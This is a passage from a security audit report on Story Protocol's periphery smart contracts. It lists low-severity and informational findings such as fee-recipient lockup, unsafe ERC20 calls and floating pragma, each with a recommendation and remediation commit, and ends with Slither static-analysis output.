2. **Explicit Limit Removal Function**: Introduce a separate function specifically for removing the limit, which sets the limit to zero. This function could include additional checks or require specific permissions to ensure that the removal of the limit is intentional and authorized.
3. **Documentation and Warnings**: Clearly document the behavior of the setTotalLicenseTokenLimit function, including the implications of setting the limit to zero or a high value. Provide warnings to users about the potential for inconsistent behavior and the need to carefully consider the implications of changing the limit.
4. **User Interface Considerations**: If this contract is part of a larger system with a user interface, ensure that the UI provides clear guidance and warnings when users attempt to set the limit to zero or a very high value. This can help prevent accidental misuse of the function.

By implementing these mitigations, the contract can provide a more consistent and intuitive experience for users, while maintaining the intended functionality of the license token limit.

Remediation

SOLVED: The **Story Protocol team** addressed this issue by allowing a zero limit, as recommended in point 1.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/096fe098b3fb84e98779116b123e3c5bf5391a08

7.8 SETMINTFEERECIPIENT() COULD BE RENDERED UNUSABLE

// LOW

Description

The `setMintFeeRecipient()` function in the `SPGNFT` contract is designed to allow the current mint fee recipient to update the address to a new recipient. However, this function is vulnerable if the `_mintFeeRecipient` is set to a contract address that cannot call this function, such as a treasury smart contract.

If the `_mintFeeRecipient` is set to a contract address that does not have the capability to call this function (e.g., a contract without the necessary logic to execute external calls), the function becomes effectively unusable. This is because the contract itself cannot initiate a call to `setMintFeeRecipient()`, and thus, the recipient address cannot be updated:

```
186     /// @notice Sets the recipient of mint fees.
187     /// @dev Only callable by the fee recipient.
188     /// @param newFeeRecipient The new fee recipient.
189     function setMintFeeRecipient(address newFeeRecipient) external {
190         if (msg.sender != _getSPGNFTStorage()._mintFeeRecipient) {
191             revert Errors.SPGNFT__CallerNotFeeRecipient();
192         }
193         _getSPGNFTStorage()._mintFeeRecipient = newFeeRecipient;
194     }
```

The inability to update the fee recipient could result in a loss of control over the distribution of mint fees, potentially affecting the financial operations of the NFT collection.

BVSS

AO:S/AC:L/AX:L/R:N/S:U/C:N/A:C/I:M/D:N/Y:N (2.3)

Recommendation

It is recommended to also allow the `ADMIN` user to call `setMintFeeRecipient()` in order to prevent functionality lockups if the current `_mintFeeRecipient` address cannot call `setMintFeeRecipient()`.

Remediation

SOLVED: The **Story Protocol team** addressed this issue by allowing `SPGNFTLib.ADMIN_ROLE` to call `setMintFeeRecipient()` too.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/9c8292744ee1ec6553566d88bd547236c08a4cc7

7.9 UNSAFE ERC20 OPERATIONS

// LOW

Description

Unsafe ERC20 operations that don't use OpenZeppelin's SafeERC20 library have been detected. These operations may fail silently with non-compliant tokens that return false instead of reverting on failure, or tokens like `USDT` that require resetting allowances to zero before updating them.

- In `SPGNFT.sol`, the unsafe `transferFrom()` is used:

```
        if ($._mintFeeToken != address(0) && $._mintFee > 0) {
            IERC20($._mintFeeToken).transferFrom(payer, address(this), $._mint
        }
```

While the impact is mitigated since most integrated tokens are expected to be compliant, this remains a concern for future integrations and best practices.

BVSS

AO:A/AC:L/AX:M/C:N/I:L/A:L/D:N/Y:N/R:N/S:U (2.1)

Recommendation

Consider using the OpenZeppelin's `SafeERC20` library or Solmate's `SafeTransferLib` consistently throughout the codebase.

Remediation

SOLVED: The **Story Protocol team** now uses `SafeERC20` for every ERC20 operation.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/56f56b0753204c82b53701abdbfa6f8d961df105

7.10 INCORRECT ORDER OF MODIFIERS: NONREENTRANT SHOULD PRECEDE ALL OTHER MODIFIERS

// INFORMATIONAL

Description

To mitigate the risk of reentrancy attacks, a modifier named `nonReentrant` is commonly used. This modifier acts as a lock, ensuring that a function cannot be called recursively while it is still in execution. A typical implementation of the `nonReentrant` modifier locks the function at the beginning and unlocks it at the end. However, it is vital to place the `nonReentrant` modifier before all other modifiers in a function. Placing it first ensures that all other modifiers cannot bypass the reentrancy protection. In the current implementation, some functions use other modifiers before `nonReentrant`, which may compromise the protection it provides.

During the audit it was identified that the following functions does not use `nonReentrant` as a first modifier:

- **TokenizerModule.sol**
  - `tokenize()`

Score

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation

It is recommended to follow the best practice of placing the `nonReentrant` modifier before all other modifiers. By doing so, one can reduce the risk of reentrancy-related vulnerabilities. This simple yet effective approach can help enhance the security posture of any Solidity smart contract.

Remediation

SOLVED: The **Story Protocol team** addressed this issue by placing the `nonReentrant` modifier first.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/50696306ccf68e5663c11e9c75aedfabe0f0efe4

7.11
MISSING INITIALIZATION OF ACCESSCONTROLUPGRADEABLE

// INFORMATIONAL

Description

It has been noted that the `AccessControlUpgradeable` contract, inherited in `SPGNFT` is not initialized. Although both `__AccessControl_init()` and `__AccessControl_init_unchained()` functions are empty, so they do not have to be necessarily called, this could change in the future. Calling the initialization methods of all parent contracts is considered a good practice.

Not following good practices could leave any relevant contracts uninitialized, which could potentially lead to unexpected behavior or security vulnerabilities.

In a similar fashion, the `MulticallUpgradeable` contract is not initialized in any of the workflow contracts.

Score

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation

It is recommended to call the initialization methods of every parent contract.

Remediation

SOLVED: The **Story Protocol team** now initializes every parent contract.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/821f42cf6b5a2dc06a2f1c9c890bb5db8491fb17

7.12 INACCURATE COMMENTS

// INFORMATIONAL

Description

The comment for the `mint()` function in the `SPGNFT` contract inaccurately states that the function is `"Only callable by the minter role."` However, this is not entirely correct. The function can also be called by anyone if the `_publicMinting` flag is set to true. This means that the function is accessible to the general public under certain conditions, not just restricted to those with the minter role.

Having function comments or documentation that do not accurately describe the conditions under which the function can be called could lead developers and users to make false assumptions that might endanger the protocol's security.

Score

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

It is recommended that the comments and documentation accurately describe the code functionality.

Remediation

SOLVED: The **Story Protocol team** fixed the comments.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/6fb5c2b0aa6e30d38d5b8b7a801fbbdd840de856

7.13 UNNECESSARY COMMENTS

// INFORMATIONAL

Description

Multiple instances of unnecessary comments have been detected:

- In the `SPGNFT.sol` contract, there is a comment section labeled as `Upgrade` which is unnecessary. This comment is a remnant from when the contract might have been intended to use the `UUPS` (Universal Upgradeable Proxy Standard) pattern. However, the current design of the contract indicates that it will utilize the beacon proxy pattern, which does not require upgrade logic to be implemented within the implementation contract itself.
- A similar instance has been detected in the `CachableNFT.sol` contract (Lines 3 and 4), in which comments from previous versions of the contract remained.
- In the `MetadataHelper.sol` contract, the comments in line 38 and 39 are duplicated.

The presence of these comments can lead to confusion for developers and users reviewing the contract, since it suggests that there might be upgrade logic within the contract, which is not the case. This could result in misunderstandings about the contract's architecture and its upgradeability mechanism, potentially leading to incorrect assumptions about the contract's functionality and security.

Score

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Remove any unnecessary, outdated, or inaccurate comments from the scoped contracts. Removing these comments ensures that the contract documentation accurately reflects its design and functionality, reducing potential confusion for future developers and users.

Remediation

SOLVED: The **Story Protocol team** fixed the comments.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/6fb5c2b0aa6e30d38d5b8b7a801fbbdd840de856

7.14 TYPOS IN COMMENTS

// INFORMATIONAL

Description

Typos in comments, while seemingly minor, can hinder code readability and reduce the overall quality and professionalism of a Solidity smart contract. Comments are essential for providing context and explanations that help developers, auditors, and contributors understand the purpose and functionality of the code. Typos can create confusion, lead to misunderstandings, or make the codebase appear unprofessional and poorly maintained. This issue becomes especially significant in collaborative environments or when onboarding new developers to a project. The following comments with typographical errors were found in the scoped contracts:

- **CachableNFT.sol:**

```
// cache contrat has three modes
```

The word `contrat` above should be spelled as `contract` instead.

- **StoryBadgeNFT.sol:**

```
    /// @param signature The signature from the whitelist signer. This signaut
```

The words `signautre` and `genreated` above should be spelled as `signature` and `generated` , respectively.

Score

AO:S/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation

To maintain clarity and trustworthiness, it is essential to rectify any typographical errors present within the contracts. Correcting such errors minimizes the likelihood of confusion and reinforces confidence in the accuracy and integrity of the documentation.

Remediation

SOLVED: The **Story Protocol team** fixed the comments.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/6fb5c2b0aa6e30d38d5b8b7a801fbbdd840de856

7.15 SUBOPTIMAL FOR LOOPS

// INFORMATIONAL

Description

Throughout the code in scope, there are several instances of unoptimized for loop declarations that may incur in higher gas costs than necessary.

Score

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

Optimize the `for` loop declarations to reduce gas costs. Best practices include:

- The non-redundant initialization of the iterator with a default value (declaring simply `i` is equivalent to `i = 0` but more gas efficient),
- The use of the pre-increment operator (inside an `unchecked` block if using Solidity `>=0.8.0` and `<= 0.8.21` :`unchecked {++i}`, or simply `++i` if compiling with Solidity `>=0.8.22`).

Additionally, when reading from storage variables, it is recommended to reduce gas costs significantly by caching the array to read locally and iterate over it to avoid reading from storage on every iteration. Moreover, if there are several loops in the same function, the `i` variable can be re-used, to be able to set the value from non-zero to zero and reduce gas costs without additional variable declaration. For example:

```
uint256[] memory arrayInMemory = arrayInStorage;

uint256 i;
for (; i < arrayInMemory.length ;) {
  // code logic
  unchecked { ++i; }
}

delete i;

uint256[] memory arrayInMemory2 = arrayInStorage2;

for (; i < arrayInMemory2.length ;) {
  // code logic
```

```
    unchecked { ++i; }
  }
```

Remediation

ACKNOWLEDGED: The **Story Protocol team** acknowledged this finding.

7.16 ARRAY LENGTH MATCHING NOT ENFORCED IN PERMISSIONHELPER LIBRARY

// INFORMATIONAL

Description

The `setBatchPermissionForModules()` function in the `PermissionHelper` library is designed to set permissions for multiple modules in a batch operation. Two of the input parameters are the `modules` and `selectors` arrays. The function assumes that these arrays have a 1:1 mapping, meaning they should be of equal length. However, there is no explicit check to enforce this assumption, which can lead to unexpected behaviors if the arrays have different lengths.

If the modules and selectors arrays have different lengths, several issues may occur:
1. **Explicit failure**: If the `selectors` array is shorter than the `modules` array, the function will attempt to access out-of-bounds elements in the `selectors` array, which will cause a revert due to Solidity's array bounds checking.
2. **Silent failure**: If the `modules` array is shorter than the `selectors` array, the function will not process all selectors, potentially leaving some permissions unset. This could lead to a situation where not all intended permissions are granted, which might not be immediately obvious to the caller.
3. **Security Risks**: Incomplete or incorrect permission settings can lead to security vulnerabilities, where certain modules might not have the necessary permissions to execute their intended functions, or unintended modules might receive permissions due to misalignment.

In addition, another instance of this same issue has been detected in the `aggregateMintFees()` function from the `LicensingHelper` library.

Score

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

Recommendation

To mitigate this vulnerability, it is recommended to add a check at the beginning of the function to ensure that the `modules` and `selectors` arrays have the same length. If they do not, the function should revert with an appropriate error message. This will prevent any unexpected behavior due to mismatched array lengths.

Remediation

SOLVED: The **Story Protocol team** addressed this issue by explicitly checking the length of both arrays.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/12c1be161796efba608a022bb617aafeb410fd14

7.17 FLOATING PRAGMA

// INFORMATIONAL

Description

The `CachableNFT` contract currently use floating pragma versions `^0.8.26` which means that the code can be compiled by any compiler version that is greater than or equal to `0.8.26`, and less than `0.9.0`.

However, it is recommended that contracts should be deployed with the same compiler version and flags used during development and testing. Locking the pragma helps to ensure that contracts do not accidentally get deployed using another pragma. For example, an outdated pragma version might introduce bugs that affect the contract system negatively.

Additionally, from Solidity versions `0.8.20` through `0.8.24`, the default target EVM version is set to `Shanghai`, which results in the generation of bytecode that includes `PUSH0` opcodes. Starting with version `0.8.25`, the default EVM version shifts to `Cancun`, introducing new opcodes for transient storage, `TSTORE` and `TLOAD`.

In this aspect, it is crucial to select the appropriate EVM version when it's intended to deploy the contracts on networks other than the Ethereum mainnet, which may not support these opcodes. Failure to do so could lead to unsuccessful contract deployments or transaction execution issues.

Score

Impact:

Likelihood:

Recommendation

Lock the pragma version to the same version used during development and testing. Additionally, make sure to specify the target EVM version when using Solidity versions from `0.8.20` and above if deploying to chains that may not support newly introduced opcodes.

Remediation

SOLVED: The **Story Protocol team** fixed the mentioned floating pragma.

Remediation Hash

https://github.com/storyprotocol/protocol-periphery-v1/commit/8bb6d188199f610c0a9a91fc40bc649005f75128

References

8. AUTOMATED TESTING

Static Analysis Report

Description

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contract. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.
The security team assessed all findings identified by the Slither software, however, most of the findings are not included in the below results for the sake of report readability.

Output

The findings obtained as a result of the Slither scan were reviewed, and the majority were not included in the report because they were determined as false positives.

```
INFO:Detectors:
RoyaltyModule._payToWhitelistedRoyaltyPolicies(address,address,address,uint256) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#660-681) uses arbitrary from in transferFrom: IERC20(token).safeTransferFrom(payerAddress,accRoyaltyPolicies[i],amountToTransfer) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#678)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#arbitrary-from-in-transferfrom
INFO:Detectors:
Math.mulDiv(uint256,uint256,uint256) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#144-223) has bitwise-xor operator ^ instead of the exponentiation operator **:
        - inverse = (3 * denominator) ^ 2 (node_modules/@openzeppelin/contracts/utils/math/Math.sol#205)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-exponentiation
INFO:Detectors:
SPGNFT.withdrawToken(address) (contracts/SPGNFT.sol#277-279) ignores return value by IERC20(token).transfer(_getSPGNFTStorage()._mintFeeRecipient,IERC20(token).balanceOf(address(this))) (contracts/SPGNFT.sol#278)
SPGNFT._mintToken(address,address,string,bytes32,bool) (contracts/SPGNFT.sol#296-327) ignores return value by IERC20($._mintFeeToken).transferFrom(payer,address(this),$._mintFee) (contracts/SPGNFT.sol#317)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unchecked-transfer
INFO:Detectors:
TokenizerModule.DISPUTE_MODULE (contracts/modules/tokenizer/TokenizerModule.sol#59) is never initialized. It is used in:
        - TokenizerModule.tokenize(address,address,bytes) (contracts/modules/tokenizer/TokenizerModule.sol#105-129)
DerivativeWorkflows.ROYALTY_MODULE (contracts/workflows/DerivativeWorkflows.sol#41) is never initialized. It is used in:
        - DerivativeWorkflows.mintAndRegisterIpAndMakeDerivative(address,WorkflowStructs.MakeDerivative,WorkflowStructs.IPMetadata,address,bool) (contracts/workflows/DerivativeWorkflows.sol#101-128)
        - DerivativeWorkflows.registerIpAndMakeDerivative(address,uint256,WorkflowStructs.MakeDerivative,WorkflowStructs.IPMetadata,WorkflowStructs.SignatureData) (contracts/workflows/DerivativeWorkflows.sol#138-169)
DerivativeWorkflows.LICENSE_TOKEN (contracts/workflows/DerivativeWorkflows.sol#45) is never initialized. It is used in:
        - DerivativeWorkflows.mintAndRegisterIpAndMakeDerivativeWithLicenseTokens(address,uint256[],bytes,uint32,WorkflowStructs.IPMetadata,address,bool) (contracts/workflows/DerivativeWorkflows.sol#182-207)
        - DerivativeWorkflows.registerIpAndMakeDerivativeWithLicenseTokens(address,uint256,uint256[],bytes,uint32,WorkflowStructs.IPMetadata,WorkflowStructs.SignatureData) (contracts/workflows/DerivativeWorkflows.sol#220-248)
GroupingWorkflows.GROUPING_MODULE (contracts/workflows/GroupingWorkflows.sol#44) is never initialized. It is used in:
        - GroupingWorkflows.registerGroupAndAttachLicense(address,WorkflowStructs.LicenseData) (contracts/workflows/GroupingWorkflows.sol#214-229)
        - GroupingWorkflows.registerGroupAndAttachLicenseAndAddIps(address,address[],WorkflowStructs.LicenseData) (contracts/workflows/GroupingWorkflows.sol#238-256)
GroupingWorkflows.GROUP_NFT (contracts/workflows/GroupingWorkflows.sol#48) is never initialized. It is used in:
        - GroupingWorkflows.registerGroupAndAttachLicense(address,WorkflowStructs.LicenseData) (contracts/workflows/GroupingWorkflows.sol#214-229)
        - GroupingWorkflows.registerGroupAndAttachLicenseAndAddIps(address,address[],WorkflowStructs.LicenseData) (contracts/workflows/GroupingWorkflows.sol#238-256)
GroupingWorkflows.ROYALTY_MODULE (contracts/workflows/GroupingWorkflows.sol#52) is never initialized. It is used in:
        - GroupingWorkflows.collectRoyaltiesAndClaimReward(address,address[],address[]) (contracts/workflows/GroupingWorkflows.sol#268-296)
RoyaltyTokenDistributionWorkflows.ROYALTY_MODULE (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#42) is never initialized. It is used in:
        - RoyaltyTokenDistributionWorkflows.mintAndRegisterIpAndMakeDerivativeAndDistributeRoyaltyTokens(address,address,WorkflowStructs.IPMetadata,WorkflowStructs.MakeDerivative,WorkflowStructs.RoyaltyShare[],bool) (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#161-196)
        - RoyaltyTokenDistributionWorkflows.registerIpAndMakeDerivativeAndDeployRoyaltyVault(address,uint256,WorkflowStructs.IPMetadata,WorkflowStructs.MakeDerivative,WorkflowStructs.SignatureData) (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#256-289)
        - RoyaltyTokenDistributionWorkflows._deployRoyaltyVault(address) (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#306-355)
        - RoyaltyTokenDistributionWorkflows._distributeRoyaltyTokens(address,WorkflowStructs.RoyaltyShare[],WorkflowStructs.SignatureData) (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#361-396)
RoyaltyTokenDistributionWorkflows.ROYALTY_POLICY_LAP (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#46) is never initialized. It is used in:
        - RoyaltyTokenDistributionWorkflows._deployRoyaltyVault(address) (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#306-355)
RoyaltyTokenDistributionWorkflows.WIP (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#50) is never initialized. It is used in:
        - RoyaltyTokenDistributionWorkflows._deployRoyaltyVault(address) (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#306-355)
RoyaltyWorkflows.ROYALTY_MODULE (contracts/workflows/RoyaltyWorkflows.sol#27) is never initialized. It is used in:
        - RoyaltyWorkflows.claimAllRevenue(address,address,address[],address[],address[]) (contracts/workflows/RoyaltyWorkflows.sol#57-81)
RoyaltyModule.LICENSING_MODULE (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#41) is never initialized. It is used in:
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-state-variables
INFO:Detectors:
Base64._encode(bytes,string,bool) (node_modules/@openzeppelin/contracts/utils/Base64.sol#35-122) performs a multiplication on the result of a division:
        - resultLength = 4 * ((data.length + 2) / 3) (node_modules/@openzeppelin/contracts/utils/Base64.sol#55)
Math.mulDiv(uint256,uint256,uint256) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#144-223) performs a multiplication on the result of a division:
        - denominator = denominator / twos (node_modules/@openzeppelin/contracts/utils/math/Math.sol#190)
        - inverse = (3 * denominator) ^ 2 (node_modules/@openzeppelin/contracts/utils/math/Math.sol#205)
Math.mulDiv(uint256,uint256,uint256) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#144-223) performs a multiplication on the result of a division:
        - denominator = denominator / twos (node_modules/@openzeppelin/contracts/utils/math/Math.sol#190)
        - inverse *= 2 - denominator * inverse (node_modules/@openzeppelin/contracts/utils/math/Math.sol#209)
Math.mulDiv(uint256,uint256,uint256) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#144-223) performs a multiplication on the result of a division:
        - denominator = denominator / twos (node_modules/@openzeppelin/contracts/utils/math/Math.sol#190)
        - inverse *= 2 - denominator * inverse (node_modules/@openzeppelin/contracts/utils/math/Math.sol#210)
Math.mulDiv(uint256,uint256,uint256) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#144-223) performs a multiplication on the result of a division:
        - denominator = denominator / twos (node_modules/@openzeppelin/contracts/utils/math/Math.sol#190)
        - inverse *= 2 - denominator * inverse (node_modules/@openzeppelin/contracts/utils/math/Math.sol#211)
Math.mulDiv(uint256,uint256,uint256) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#144-223) performs a multiplication on the result of a division:
        - denominator = denominator / twos (node_modules/@openzeppelin/contracts/utils/math/Math.sol#190)
        - inverse *= 2 - denominator * inverse (node_modules/@openzeppelin/contracts/utils/math/Math.sol#212)
Math.mulDiv(uint256,uint256,uint256) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#144-223) performs a multiplication on the result of a division:
        - denominator = denominator / twos (node_modules/@openzeppelin/contracts/utils/math/Math.sol#190)
        - inverse *= 2 - denominator * inverse (node_modules/@openzeppelin/contracts/utils/math/Math.sol#213)
Math.mulDiv(uint256,uint256,uint256) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#144-223) performs a multiplication on the result of a division:
        - denominator = denominator / twos (node_modules/@openzeppelin/contracts/utils/math/Math.sol#190)
        - inverse *= 2 - denominator * inverse (node_modules/@openzeppelin/contracts/utils/math/Math.sol#214)
Math.mulDiv(uint256,uint256,uint256) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#144-223) performs a multiplication on the result of a division:
        - prod0 = prod0 / twos (node_modules/@openzeppelin/contracts/utils/math/Math.sol#193)
        - result = prod0 * inverse (node_modules/@openzeppelin/contracts/utils/math/Math.sol#218)
Math.invMod(uint256,uint256) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#243-289) performs a multiplication on the result of a division:
        - quotient = gcd / remainder (node_modules/@openzeppelin/contracts/utils/math/Math.sol#265)
        - (gcd,remainder) = (remainder,gcd - remainder * quotient) (node_modules/@openzeppelin/contracts/utils/math/Math.sol#267-274)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#divide-before-multiply
```

```
INFO:Detectors:
TotalLicenseTokenLimitHook._calculateFee(address,uint256,uint256) (contracts/hooks/TotalLicenseTokenLimitHook.sol#198-197) ignores return value by (None,None,mintingFee,None) = ILicenseTemplate(licenseTemplate).getRoyaltyPolicy(licenseTermsId) (contracts/hooks/TotalLicenseTokenLimitHook.sol#195)
CachableNFT.mintToCache(uint256) (contracts/story-nft/CachableNFT.sol#55-62) ignores return value by _getCacheableNFTStorage().cache.set(tokenId,ipId) (contracts/story-nft/CachableNFT.sol#60)
CachableNFT.getCacheAtIndex(uint256) (contracts/story-nft/CachableNFT.sol#81-83) ignores return value by _getCacheableNFTStorage().cache.at(index) (contracts/story-nft/CachableNFT.sol#82)
CachableNFT._transferFromCache(address) (contracts/story-nft/CachableNFT.sol#89-103) ignores return value by ! cache.remove(tokenId) (contracts/story-nft/CachableNFT.sol#100)
GroupingWorkflows.collectRoyaltiesAndClaimReward(address,address[],address[]) (contracts/workflows/GroupingWorkflows.sol#263-296) ignores return value by LICENSING_MODULE.mintLicenseTokens({licensorIpId:memberIpIds[i],licenseTemplate:groupLicenseTemplate,licenseTermsId:groupLicenseTermsId,amount:1,receiver:msg.sender,royaltyContext:,maxMintingFee:0,maxRevenueShare:0}) (contracts/workflows/GroupingWorkflows.sol#277-286)
RoyaltyTokenDistributionWorkflows._deployRoyaltyVault(address) (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#306-355) ignores return value by LICENSING_MODULE.mintLicenseTokens({licensorIpId:ipId,licenseTemplate:address(PIL_TEMPLATE),licenseTermsId:licenseTermsId,amount:1,receiver:msg.sender,royaltyContext:,maxMintingFee:0,maxRevenueShare:0}) (contracts/workflows/RoyaltyTokenDistributionWorkflows.sol#324-333)
RoyaltyWorkflows.claimAllRevenue(address,address,address[],address[],address[]) (contracts/workflows/RoyaltyWorkflows.sol#57-81) ignores return value by IGraphAwareRoyaltyPolicy(royaltyPolicies[i]).transferToVault({ipId:childIpIds[i],ancestorIpId:ancestorIpId,token:currencyTokens[i]}) (contracts/workflows/RoyaltyWorkflows.sol#66-70)
ERC1967Utils.upgradeToAndCall(address,bytes) (node_modules/@openzeppelin/contracts/proxy/ERC1967/ERC1967Utils.sol#67-76) ignores return value by Address.functionDelegateCall(newImplementation,data) (node_modules/@openzeppelin/contracts/proxy/ERC1967/ERC1967Utils.sol#72)
ERC1967Utils.upgradeBeaconToAndCall(address,bytes) (node_modules/@openzeppelin/contracts/proxy/ERC1967/ERC1967Utils.sol#157-166) ignores return value by Address.functionDelegateCall(IBeacon(newBeacon).implementation(),data) (node_modules/@openzeppelin/contracts/proxy/ERC1967/ERC1967Utils.sol#162)
SignatureChecker.isValidSignatureNow(address,bytes32,bytes) (node_modules/@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol#22-29) ignores return value by (recovered,err,None) = ECDSA.tryRecover(hash,signature) (node_modules/@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol#24)
Time.get(Time.Delay) (node_modules/@openzeppelin/contracts/utils/types/Time.sol#93-96) ignores return value by (delay,None,None) = self.getFull() (node_modules/@openzeppelin/contracts/utils/types/Time.sol#94)
RoyaltyModule._addToAccumulatedRoyaltyPolicies(address,address) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#597-599) ignores return value by _getRoyaltyModuleStorage().accumulatedRoyaltyPolicies[ipId].add(royaltyPolicy) (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#598)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return
INFO:Detectors:
SPGNFT.setMintOpen(bool).mintOpen (contracts/SPGNFT.sol#199) shadows:
        - SPGNFT.mintOpen() (contracts/SPGNFT.sol#143-145) (function)
        - ISPGNFT.mintOpen() (contracts/interfaces/ISPGNFT.sol#58) (function)
SPGNFT.setBaseURI(string).baseURI (contracts/SPGNFT.sol#214) shadows:
        - SPGNFT.baseURI() (contracts/SPGNFT.sol#155-157) (function)
        - ISPGNFT.baseURI() (contracts/interfaces/ISPGNFT.sol#66) (function)
SPGNFT.setContractURI(string).contractURI (contracts/SPGNFT.sol#222) shadows:
        - SPGNFT.contractURI() (contracts/SPGNFT.sol#168-162) (function)
        - IERC7572.contractURI() (contracts/interfaces/story-nft/IERC7572.sol#11) (function)
ISPGNFT.setMintOpen(bool).mintOpen (contracts/interfaces/ISPGNFT.sol#93) shadows:
        - ISPGNFT.mintOpen() (contracts/interfaces/ISPGNFT.sol#58) (function)
ISPGNFT.setBaseURI(string).baseURI (contracts/interfaces/ISPGNFT.sol#104) shadows:
        - ISPGNFT.baseURI() (contracts/interfaces/ISPGNFT.sol#66) (function)
ISPGNFT.setContractURI(string).contractURI (contracts/interfaces/ISPGNFT.sol#110) shadows:
        - IERC7572.contractURI() (contracts/interfaces/story-nft/IERC7572.sol#11) (function)
IOwnablERC20.initialize(address,bytes).ipId (contracts/interfaces/modules/tokenizer/IOwnablERC20.sol#24) shadows:
        - IOwnablERC20.ipId() (contracts/interfaces/modules/tokenizer/IOwnablERC20.sol#35) (function)
IOrgNFT.setTokenURI(uint256,string).tokenURI (contracts/interfaces/story-nft/IOrgNFT.sol#72) shadows:
        - IERC721Metadata.tokenURI(uint256) (node_modules/@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol#26) (function)
IStoryNFT.setContractURI(string).contractURI (contracts/interfaces/story-nft/IStoryNFT.sol#40) shadows:
        - IERC7572.contractURI() (contracts/interfaces/story-nft/IERC7572.sol#11) (function)
OwnablERC20.initialize(address,bytes).ipId (contracts/modules/tokenizer/OwnablERC20.sol#37) shadows:
        - OwnablERC20.ipId() (contracts/modules/tokenizer/OwnablERC20.sol#63-65) (function)
        - IOwnablERC20.ipId() (contracts/interfaces/modules/tokenizer/IOwnablERC20.sol#35) (function)
IDisputeModule.arbitrationRelayer(address).arbitrationRelayer (node_modules/@story-protocol/protocol-core/contracts/interfaces/modules/dispute/IDisputeModule.sol#150) shadows:
        - IDisputeModule.arbitrationRelayer(address) (node_modules/@story-protocol/protocol-core/contracts/interfaces/modules/dispute/IDisputeModule.sol#150) (function)
IRoyaltyModule.setTreasury(address).treasury (node_modules/@story-protocol/protocol-core/contracts/interfaces/modules/royalty/IRoyaltyModule.sol#95) shadows:
        - IRoyaltyModule.treasury() (node_modules/@story-protocol/protocol-core/contracts/interfaces/modules/royalty/IRoyaltyModule.sol#85) (function)
IRoyaltyModule.setRoyaltyFeePercent(uint32).royaltyFeePercent (node_modules/@story-protocol/protocol-core/contracts/interfaces/modules/royalty/IRoyaltyModule.sol#100) shadows:
        - IRoyaltyModule.royaltyFeePercent() (node_modules/@story-protocol/protocol-core/contracts/interfaces/modules/royalty/IRoyaltyModule.sol#108) (function)
RoyaltyModule.setTreasury(address).treasury (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#147) shadows:
        - RoyaltyModule.treasury() (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#389-391) (function)
        - IRoyaltyModule.treasury() (node_modules/@story-protocol/protocol-core/contracts/interfaces/modules/royalty/IRoyaltyModule.sol#185) (function)
RoyaltyModule.setRoyaltyFeePercent(uint32).royaltyFeePercent (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#158) shadows:
        - RoyaltyModule.royaltyFeePercent() (node_modules/@story-protocol/protocol-core/contracts/modules/royalty/RoyaltyModule.sol#394-396) (function)
